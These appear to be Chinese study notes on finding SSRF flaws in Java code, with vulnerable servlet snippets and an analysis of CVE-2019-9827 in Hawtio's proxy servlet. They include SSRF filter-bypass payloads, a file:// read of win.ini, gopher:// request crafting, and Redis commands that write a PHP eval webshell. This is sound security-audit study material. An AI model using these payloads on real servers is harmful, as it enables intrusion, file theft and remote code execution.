0x10 基础知识
0x11 URLConnection
java中抽象出来了一个URLConnection类,
用来表示应用程序以及与URL建立通信连接的所有类的超类,通过URL类中的openConnection方法获取到URLConnection的类对象
其中支持的协议在 sun.net.www.protocol 中
file ftp mailto http https jar netdoc jdk8中删除了 gopher java中的主要限制
建立一个URL 请求响应的过程,代码如下
D:\Goodday\Code_audit\JAVA\javastudy\src\URLConnectionDemo.java
使用URL建立一个对象,调用url对象中的openConnection来获取一个URLConnection的实例,然后通过在URLConnection设置各种请求参数以及一些配置,在使用其中的connect方法来发起请求,然后在调用getInputStream来获请求的响应流。**
0x12 SSRF
SSRF漏洞形成的原因大部分是:
因为服务端提供了可以从其他服务器获取资源的功能,然而并没有对用户的输入以及发起请求的url进行过滤&限制,从而导致了ssrf的漏洞。
https://www.mi1k7ea.com/2020/02/29/SSRF-Tricks小结/
0x12—发现 ssrf
通常ssrf容易出现的功能点如下面几种场景,一些fuzz的点,和一些可以fuzz的ssrf payload ,cheatsheets(备忘录)https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/ssrf.md
- 抓取用户输入图片的地址并且本地化存储
- 从远程服务器请求资源
- 对外发起网络请求
使用工具来发现:
https://github.com/random-robbie/ssrf-finder https://github.com/micha3lb3n/SSRFire
0x12—ssrf bypass
可能出现的点的进行fuzz,一些bypass WAF的技巧,DNS Rebinding 重绑定,p牛知识星球的一些技巧,BugTipinTwitter
- SSRF payloads
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:22/ SSH
http://[::]:3128/
http://0000::1:80/
http://0000::1:25/ SMTP
http://0000::1:22/ SSH
http://0000::1:3128/
http://0177.0.0.1/
http://2130706433/ = http://127.0.0.1
http://3232235521/
http://192.168.0.1
https://twitter.com/ADITYASHENDE17/status/1276719828917555202
DNS rebinding对以下行为的bypass
在请求资源前先访问DNS服务器判断是否为内网IP
DNS重绑定
当我们发起域名解析请求的时候,第一次访问会返回一个ip地址A,但是当我们发起第二次域名解析请求的时候,却会返回一个不同于A的ip地址B。

攻击思路是基于这种SSRF防御思路的基础上的,检查逻辑是第一次DNS查询请求确定host是不是内网IP,第二次请求的时候存在一个小间隔,导致了解析的差异性。
0x12—ssrf 利用
在使用ssrf漏洞的时候,大部分是用来读取文件内容或者对内网服务端口探测,或者在域环境情况下且是win主机下进行ntlmrelay攻击。
- 利用http进行ntlmrelay攻击(仅限
HttpURLConnection或者二次包装HttpURLConnection并未复写AuthenticationInfo方法的对象)
在《Ghidra 从 XXE 到 RCE》中提到利用java xxe做ntlm relay操作。大致原理是,由于sun.net.www.protocol.http.HttpURLConnection 发送HTTP请求遇到状态码为401的HTTP返回头时,会判断该页面要求使用哪种认证方式,若攻击者回复要求采用NTLM认证则会自动使用当前用户凭据进行认证。
利用步骤:
- 摸清 SSRF 的状态是否为布尔状态
- 此 SSRF 支持什么协议
- 此 SSRF 是否支持 302 跳转
一些利用的协议
- file:读取服务器上的任意文件内容:
windows下的 file:///C:/Windows/win.ini
• Linux下的 - dict:除了泄露安装软件版本信息,还可以查看端口,操作内网Redis服务->getshell等;
- gopher:能够将所有操作转换成数据流,并将数据流一次发送出去,可以用来探测内网的所有服务的所有漏洞,
可利用来攻击Redis和PHP-FPM;gopher协议的使用
<-以下知识来自这片文章
https://github.com/tarunkant/Gopherus gopher码生成工具Redis webshell工具
https://github.com/FoolMitAh/mysql_gopher_attack 攻击mysql工具
https://github.com/pimps/gopher-tomcat-deployer
XXE来读取其中的TOMCAT账号密码 ,最后用gopher来执行RCE。
攻击 PHP-FAST CGI p神脚本https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
原理:P神文章 https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
当Web服务器收到HTTP请求时,就会去调用php-cgi进程,通过CGI协议,服务器把请求内容转换成php-cgi能读懂的协议数据传递给CGI进程,CGI进程拿到内容就会去解析对应PHP文件,得到的返回结果再返回给Web服务器,最后再由Web服务器返回到客户端。
来自 https://www.mi1k7ea.com/2019/08/25/浅谈PHP-FPM安全/#0x05-SSRF攻击本地PHP-FPM
FastCGI(Fast Common GatewayInterface)全称是“快速通用网关接口”,是通用网关接口(CGI)的增强版本,由CGI发展改进而来,主要用来提高CGI程序性能,类似于CGI,FastCGI也是一种让交互程序与Web服务器通信的协议。
Fastcgi协议由多个record组成,其中recoed包含header和body。服务器中间件将header和body按照fastcgi的规则封装好通过tcp发送给FPM(Fastcgi协议解析器),FPM解码后将结果再封装后返回给中间件。
主要原理:
- 解析:NGINX与IIS7曾出现php解析漏洞,例如访问http://127.0.0.1/1.jpg/.php则访问的文件是1.jpg,却按照.php解析。由于php中的fix_pathinfo特性,如果地址路径为/var/www/abc。它会先判断SCRIPT_FILENAME即/var/www/abc/1.jpg/.php是否存在,如果不存在则去掉最后一个/和后面的内容,判断/var/www/abc/1.jpg是否存在,如果存在则按照php来解析。
auto_prepend_file是告诉PHP,在执行目标文件之前,先包含auto_prepend_file中指定的文件;auto_append_file是告诉PHP,在执行完成目标文件后,包含auto_append_file指向的文件。
那么就有趣了,假设我们设置auto_prepend_file为php://input,那么就等于在执行任何php文件前都要包含一遍POST的内容。所以,我们只需要把待执行的代码放在Body中,他们就能被执行了。(当然,还需要开启远程文件包含选项allow_url_include)
利用gopher向Redis 写入webshell
常规写shell的方法:
Flushallset 1 '<?php eval($_GET["cmd"]);?>' 或着反弹shell使用的方法进行攻击config set dir /www/wwwroot/config set dbfilename shell.phpsave
用wireshark捕捉lo0,再写入:右键定位tcp跟踪流:根据转化规则转成gopher码
GET /edit.php?a=Hi HTTP/1.1Host: 127.0.0.1Connection: close转换规则
- 如果第一个字符是>或者< 那么丢弃该行字符串,表示请求和返回的时间。
- 如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。
- 将\r字符串替换成%0d%0a
。 - 空白行替换为%0a。
- 问号需要转码为URL编码%3f,同理空格转换成%20。
- 在HTTP包的最后要加%0d%0a,代表消息结束。
我们先将其转换成gopher协议执行。
Curl gopher://192.168.11.1:80/_POST%20/edit.php%3fa=Hi%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0aConnection:%20close%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0a
利用DNS缓存和TLS协议将受限SSRF变为通用SSRF

others
一些wikissrf圣经:file:///D:/other/web/SSRFbible%20Cheatsheet.pdf详尽的清单,列出了可以锁定Blind SSRF漏洞的所有可能方式:https://github.com/assetnote/blind-ssrf-chains
0x20 ssrf in java code
由于java 上支持的协议,比php,asp.net 的比较少
0x21 端口探测 — 使用 http/https://
代码实例
String url = request.getParameter("url");String htmlContent;try {URL u = new URL(url);URLConnection urlConnection = u.openConnection();HttpURLConnection httpUrl = (HttpURLConnection) urlConnection;BufferedReader base = new BufferedReader(new InputStreamReader(httpUrl.getInputStream(), "UTF-8"));StringBuffer html = new StringBuffer();while ((htmlContent = base.readLine()) != null) {html.append(htmlContent);}base.close();print.println("<b>端口探测</b></br>");print.println("<b>url:" + url + "</b></br>");print.println(html.toString());print.flush();}
- URL对象用openconnection()打开连接,获得URLConnection类对象。(建立连接)
- 用InputStream()获取字节流
- 然后InputStreamReader()将字节流转化成字符流(处理函数)
- BufferedReader()将字符流以缓存形式输出的方式来快速获取网络数据流
- 最终一行一行的输入到 html 变量中,输出到浏览器
实现一个http请求的过程,如果对 url 参数(请求的地址)没有进行限制和过滤,就可以实现ssrf攻击。
0x22文件读取下载 — 使用 file:// 协议
代码实例 :将上述代码删除一行,删除 HttpURLconnection()是基于http协议的,而我们要用的是 file 协议,删除后即可利用file协议去读取任意文件
String url = request.getParameter("url");String htmlContent;try {URL u = new URL(url);URLConnection urlConnection = u.openConnection();BufferedReader base = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));StringBuffer html = new StringBuffer();while ((htmlContent = base.readLine()) != null) {html.append(htmlContent);}base.close();print.println(html.toString());print.flush();}
使用任意文件读取就可以实现。
任意文件下载 就是将读取到的文件写入数据流中,进行了任意文件下载
int length;String downLoadImgFileName = "SsrfFileDownTest.txt";InputStream inputStream = null;OutputStream outputStream = null;String url = req.getParameter("url");try {resp.setHeader("content-disposition", "attachment;fileName=" + downLoadImgFileName);URL file = new URL(url);byte[] bytes = new byte[1024];inputStream = file.openStream();outputStream = resp.getOutputStream();while ((length = inputStream.read(bytes)) > 0) {outputStream.write(bytes, 0, length);}}
0x30 案例分析(CVE-2019-9827)
0X31 案例介绍
CVE 地址:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9827
Hawtio是用于管理Java应用程序的轻型模块化Web控制台。Hawt Hawtio小于2.5.0版本都容易受到SSRF的攻击,远程攻击者可以通过 /proxy/地址发送特定的字符串,可以影响服务器到任意主机的HTTP请求。
部署使用tomcat直接部署war包进行部署。
0x32分析
可以通过反编译获取本程序的源码,或者通过github的tree分支来获取源码
获取源码的tips 来自p牛:”实际上,如果你分析的是开源项目,比如我这里的例子是springboot,就可以直接下载到源码。比如图1中,因为我用的maven,所以Intellij IDEA可以自动下载源码。点击右上角的“Download”可以自动从maven中搜索源码包,下载后,我们可以看到图1的代码变成图2的代码了,显然更好理解多了。如果无法自动下载到源码包,比如在调试到Tomcat内部代码的时候,因为Tomcat不是用maven安装的,所以点击“Download”无法自动下载。但我们也可以去网上找源码包,比如图3中的tomcat-api-9.0.8-sources.jar,下载以后,点击Choose Sources,选择这个文件即可。“
通过github的tree分支来获取源码
查看功能点:在hawtio-system/src/main/java/io/hawt/web/ 目录下
进入proxy 查看
进入漏洞点:
hawtio-system/src/main/java/io/hawt/web/proxy/ProxyServlet.java
进入service函数
protected void service(HttpServletRequest servletRequest, HttpServletResponse servletResponse)throws ServletException, IOException {// Make the Request//note: we won't transfer the protocol version because I'm not sure it would truly be compatible// 获取URL地址,然后判断其是否为空,ProxyAddress proxyAddress = parseProxyAddress(servletRequest);if (proxyAddress == null || proxyAddress.getFullProxyUrl() == null) {servletResponse.setStatus(HttpServletResponse.SC_NOT_FOUND);return;}//不为空,判断该URL// TODO Implement whitelist protection for Kubernetes services as well//instanceof 是 Java 的保留关键字。它的作用是测试它左边的对象是否是它右边的类的实例,返回 boolean 的数据类型。if (proxyAddress instanceof ProxyDetails) {ProxyDetails details = (ProxyDetails) proxyAddress;//whitelist.isAllowed()判断该URL是否在白名单里if (!whitelist.isAllowed(details)) {LOG.debug("Rejecting {}", proxyAddress);ServletHelpers.doForbidden(servletResponse, ForbiddenReason.HOST_NOT_ALLOWED);return;}}
通过whitelist.isAllowed()判断该URL是否在白名单里,进入whitelist函数查看
public ProxyWhitelist(String whitelistStr, boolean probeLocal) {//校验字符串是否为空if (Strings.isBlank(whitelistStr)) {whitelist = new CopyOnWriteArraySet<>();regexWhitelist = Collections.emptyList();} else {whitelist = new CopyOnWriteArraySet<>(filterRegex(Strings.split(whitelistStr, ",")));regexWhitelist = buildRegexWhitelist(Strings.split(whitelistStr, ","));}if (probeLocal) {LOG.info("Probing local addresses ...");initialiseWhitelist();} else {LOG.info("Probing local addresses disabled");whitelist.add("localhost");whitelist.add("127.0.0.1");}LOG.info("Initial proxy whitelist: {}", whitelist);mBeanServer = ManagementFactory.getPlatformMBeanServer();try {fabricMBean = new ObjectName(FABRIC_MBEAN);} catch (MalformedObjectNameException e) {throw new RuntimeException(e);}}public boolean isAllowed(ProxyDetails details) {if (details.isAllowed(whitelist)) {return true;}// Update whitelist and check againLOG.debug("Updating proxy whitelist: {}, {}", whitelist, details);if (update() && details.isAllowed(whitelist)) {return true;}// test against the regex as last resortif (details.isAllowed(regexWhitelist)) {return true;} else {return false;}}public boolean update() {if (!mBeanServer.isRegistered(fabricMBean)) {LOG.debug("Whitelist MBean not available");return false;}Set<String> newWhitelist = invokeMBean();int previousSize = whitelist.size();whitelist.addAll(newWhitelist);if (whitelist.size() == previousSize) {LOG.debug("No new proxy whitelist to update");return false;} else {LOG.info("Updated proxy whitelist: {}", whitelist);return true;}}
判断 URL 是否为 localhost、127.0.0.1或者用户自己更新的白名单列表,如果不是返回 false。
回到 service(),往下看函数:
if (servletRequest.getHeader(HttpHeaders.CONTENT_LENGTH) != null ||servletRequest.getHeader(HttpHeaders.TRANSFER_ENCODING) != null) {HttpEntityEnclosingRequest eProxyRequest = new BasicHttpEntityEnclosingRequest(method, proxyRequestUri);// Add the input entity (streamed)// note: we don't bother ensuring we close the servletInputStream since the container handles iteProxyRequest.setEntity(new InputStreamEntity(servletRequest.getInputStream(), servletRequest.getContentLength()));proxyRequest = eProxyRequest;} else {proxyRequest = new BasicHttpRequest(method, proxyRequestUri);}copyRequestHeaders(servletRequest, proxyRequest, targetUriObj);
BasicHttpEntityEnclosingRequest()拥有RequestLine、HttpEntity以及Header,这里用的是 entity,HttpEntity即为消息体,包含了三种类型:数据流方式、自我包含方式以及封装模式(包含上述两种方式),这里就是一个基于HttpEntity的, HttpRequest接口实现,类似于上文中的urlConnection。
所以这个 service()的主要作用就是获取请求,然后HttpService把HttpClient传来的请求通过向下转型成BasicHttpEntityEnclosingRequest ,再调用HttpEntity,最终得到请求流内容。
这里的请求只对传入的URL进行了限制,但是没有对端口、协议进行相应的限制,从而导致了SSRF漏洞。
0x33总结
对于 SSRF 的审计可以从 http 请求函数入手,这里提供一些审计函数,如下:
- HttpClient.execute
- HttpClient.executeMethod
- HttpURLConnection.connect
- HttpURLConnection.getInputStream
- URL.openStream
- HttpServletRequest
- getParameter
- URL
- HttpClient
- Request (对HttpClient封装后的类)
- HttpURLConnection
- URLConnection
- okhttp
- BasicHttpEntityEnclosingRequest
- DefaultBHttpClientConnection
- BasicHttpRequest
- URI
